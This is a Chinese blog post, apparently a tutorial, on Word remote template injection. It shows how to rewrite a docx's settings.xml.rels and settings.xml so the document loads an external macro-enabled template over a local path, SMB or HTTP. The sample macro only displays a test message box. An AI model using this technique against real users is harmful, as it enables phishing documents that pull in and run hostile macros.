zoukankan      html  css  js  c++  java
  • Word 模板注入

      要实现word模板注入,需要一个被注入的文档,以及一个注入用的模板。

    1.创建一个启用宏的模板

      打开word,alt+f8创建编辑宏,在Project->Microsoft Word对象->ThisDocument中编写宏代码。

    Sub Document_Open()
    
    MsgBox "模板注入测试"
    End Sub
    

      保存为带宏的模板即可。

    2.创建被注入文档

      接下来是用于接受注入的文档,docx实际是个压缩包,修改后缀为zip并解压,进入目录“word/_rels”,创建文件settings.xml.rels,内容为:

    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    		<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
    			<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
    			Target="file://x:your	emplatefilepath"
    			TargetMode="External"/>
    		</Relationships>
    

      Relationship标签中的Target属性值可以是本地路径,也可以是SMB、HTTP等网络协议。

      记录Id属性值xxxx,测试发现该值为多少并不影响最终利用。

      回到上一级目录,即“Word/”下,打开文件settings.xml,插入标签<w:attachedTemplate r:id="xxxx"/>

      最后打包整个文件夹为zip,修改后缀名为word文档格式名,比如doc,docx。

      最后,双击运行,即加载模板。这里测试使用的模板是需要运行宏代码,所以还是需要“启用内容”才能生效。

  • 相关阅读:
    silverlight.js详解.
    Silverlight做随机图形
    腾讯与微软合作,准备应用Silverlight技术
    Flex的起步推动新语言学习
    微软Silverlight将支持DRM数字保护
    Kit 3D 更新
    用silverlight来开发简单的相册.
    加班一星期的结果
    构建Flex应用的10大误区
    ubuntu下SVN服务器安装配置 下的svn 常用命令
  • 原文地址:https://www.cnblogs.com/zUotTe0/p/14461290.html
Copyright © 2011-2022 走看看